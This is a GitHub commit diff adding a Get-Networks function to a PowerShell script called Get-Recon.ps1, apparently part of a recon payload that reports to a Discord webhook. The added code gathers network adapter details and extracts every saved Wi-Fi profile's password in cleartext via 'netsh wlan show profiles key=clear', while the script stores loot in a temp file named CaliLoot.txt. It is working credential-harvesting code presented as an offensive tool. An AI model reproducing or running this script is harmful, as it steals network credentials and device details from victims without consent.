Skip to content

Commit 80e55fe

Browse files
authored
Update Get-Recon.ps1
1 parent fd0dec9 commit 80e55fe

File tree

1 file changed

+29
-0
lines changed

1 file changed

+29
-0
lines changed

Basic Recon with Discord Webhook/Get-Recon.ps1

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,35 @@
11
function Get-Recon {
22
$ipInfoApiUrl = "http://ip-api.com/json"
33
$outputFile = "$env:TEMP\CaliLoot.txt"
4+
5+
Function Get-Networks {
6+
$Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null } | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress
7+
8+
$WLANProfileNames =@()
9+
10+
$Output = netsh.exe wlan show profiles | Select-String -pattern " : "
11+
12+
Foreach($WLANProfileName in $Output){
13+
$WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim()
14+
}
15+
$WLANProfileObjects =@()
16+
17+
Foreach($WLANProfileName in $WLANProfileNames){
18+
19+
try{
20+
$WLANProfilePassword = (((netsh.exe wlan show profiles name="$WLANProfileName" key=clear | select-string -Pattern "Key Content") -split ":")[1]).Trim()
21+
}Catch{
22+
$WLANProfilePassword = "The password is not stored in this profile"
23+
}
24+
25+
$WLANProfileObject = New-Object PSCustomobject
26+
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfileName" -Value $WLANProfileName
27+
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfilePassword" -Value $WLANProfilePassword
28+
$WLANProfileObjects += $WLANProfileObject
29+
Remove-Variable WLANProfileObject
30+
}
31+
return $WLANProfileObjects
32+
}
433

534
try {
635
$response = Invoke-RestMethod -Uri $ipInfoApiUrl -Method Get

0 commit comments

Comments
 (0)